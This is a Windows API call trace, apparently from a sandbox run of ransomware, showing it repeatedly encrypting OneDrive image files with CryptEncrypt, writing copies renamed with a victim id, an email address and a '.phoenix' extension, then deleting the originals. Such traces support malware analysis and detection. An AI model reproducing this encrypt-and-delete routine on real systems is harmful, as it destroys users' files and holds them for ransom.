	[0267.942] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.942] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\settings.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\settings.svg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0267.946] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1389) returned 1
	[0267.947] CloseHandle (hObject=0x308) returned 1
	[0267.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\settings.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\settings.svg")) returned 0x20
	[0267.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\settings.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\settings.svg.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.947] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\settings.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\settings.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0267.947] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.947] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.947] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\settings.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\settings.svg.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.949] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0267.949] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.949] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x56d, lpOverlapped=0x0) returned 1
	[0267.975] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x570, dwBufLen=0x570 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x570) returned 1
	[0267.975] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x570, lpOverlapped=0x0) returned 1
	[0267.976] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0267.977] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.977] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0267.977] CryptDestroyKey (hKey=0x151540) returned 1
	[0267.977] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0267.977] CryptDestroyKey (hKey=0x151500) returned 1
	[0267.977] CloseHandle (hObject=0x308) returned 1
	[0267.977] CloseHandle (hObject=0x2c4) returned 1
	[0267.977] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\settings.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\settings.svg")) returned 1
	[0267.978] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.978] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\settingsdisabled.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\settingsdisabled.svg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.979] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1391) returned 1
	[0267.979] CloseHandle (hObject=0x2c4) returned 1
	[0267.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\settingsdisabled.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\settingsdisabled.svg")) returned 0x20
	[0267.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\settingsdisabled.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\settingsdisabled.svg.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.980] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\settingsdisabled.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\settingsdisabled.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.980] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.980] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.980] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\settingsdisabled.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\settingsdisabled.svg.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0267.980] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0267.980] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.980] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x56f, lpOverlapped=0x0) returned 1
	[0267.989] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x570, dwBufLen=0x570 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x570) returned 1
	[0267.989] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x570, lpOverlapped=0x0) returned 1
	[0267.990] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1515c0) returned 1
	[0267.990] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.990] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0267.990] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0267.990] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0267.990] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0267.990] CloseHandle (hObject=0x2c4) returned 1
	[0267.991] CloseHandle (hObject=0x308) returned 1
	[0267.991] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\settingsdisabled.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\settingsdisabled.svg")) returned 1
	[0267.991] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.992] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\waterGlass.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\waterglass.svg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0267.992] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1837) returned 1
	[0267.992] CloseHandle (hObject=0x308) returned 1
	[0267.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\waterGlass.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\waterglass.svg")) returned 0x20
	[0267.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\waterGlass.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\waterglass.svg.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.992] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\waterGlass.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\waterglass.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0267.992] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.992] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.992] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\waterGlass.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\waterglass.svg.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.993] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0267.993] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.993] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x72d, lpOverlapped=0x0) returned 1
	[0267.994] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x730, dwBufLen=0x730 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x730) returned 1
	[0267.994] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x730, lpOverlapped=0x0) returned 1
	[0267.995] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151340) returned 1
	[0267.995] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.995] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0267.995] CryptDestroyKey (hKey=0x151340) returned 1
	[0267.995] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0267.995] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0267.995] CloseHandle (hObject=0x308) returned 1
	[0267.995] CloseHandle (hObject=0x2c4) returned 1
	[0267.995] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\waterGlass.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\waterglass.svg")) returned 1
	[0267.996] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.996] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\OneDriveLogo.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\onedrivelogo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.996] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4668) returned 1
	[0267.997] CloseHandle (hObject=0x2c4) returned 1
	[0267.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\OneDriveLogo.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\onedrivelogo.png")) returned 0x20
	[0267.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\OneDriveLogo.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\onedrivelogo.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.997] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\OneDriveLogo.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\onedrivelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.997] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.997] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.997] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\OneDriveLogo.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\onedrivelogo.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0267.997] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151340) returned 1
	[0267.997] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.997] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x123c, lpOverlapped=0x0) returned 1
	[0268.004] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1240, dwBufLen=0x1240 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1240) returned 1
	[0268.004] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1240, lpOverlapped=0x0) returned 1
	[0268.005] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0268.005] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0268.005] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0268.005] CryptDestroyKey (hKey=0x151380) returned 1
	[0268.005] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0268.005] CryptDestroyKey (hKey=0x151340) returned 1
	[0268.005] CloseHandle (hObject=0x2c4) returned 1
	[0268.005] CloseHandle (hObject=0x308) returned 1
	[0268.005] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\OneDriveLogo.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\onedrivelogo.png")) returned 1
	[0268.006] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0268.006] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaError.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotaerror.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0268.007] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=9290) returned 1
	[0268.007] CloseHandle (hObject=0x308) returned 1
	[0268.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaError.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotaerror.png")) returned 0x20
	[0268.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaError.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotaerror.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.008] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaError.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotaerror.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0268.008] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0268.008] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0268.008] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaError.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotaerror.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0268.008] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151340) returned 1
	[0268.008] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0268.008] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x244a, lpOverlapped=0x0) returned 1
	[0268.058] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2450, dwBufLen=0x2450 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2450) returned 1
	[0268.058] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2450, lpOverlapped=0x0) returned 1
	[0268.061] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0268.061] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0268.061] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0268.061] CryptDestroyKey (hKey=0x151180) returned 1
	[0268.061] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0268.061] CryptDestroyKey (hKey=0x151340) returned 1
	[0268.064] CloseHandle (hObject=0x308) returned 1
	[0268.064] CloseHandle (hObject=0x2c4) returned 1
	[0268.064] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaError.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotaerror.png")) returned 1
	[0268.065] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
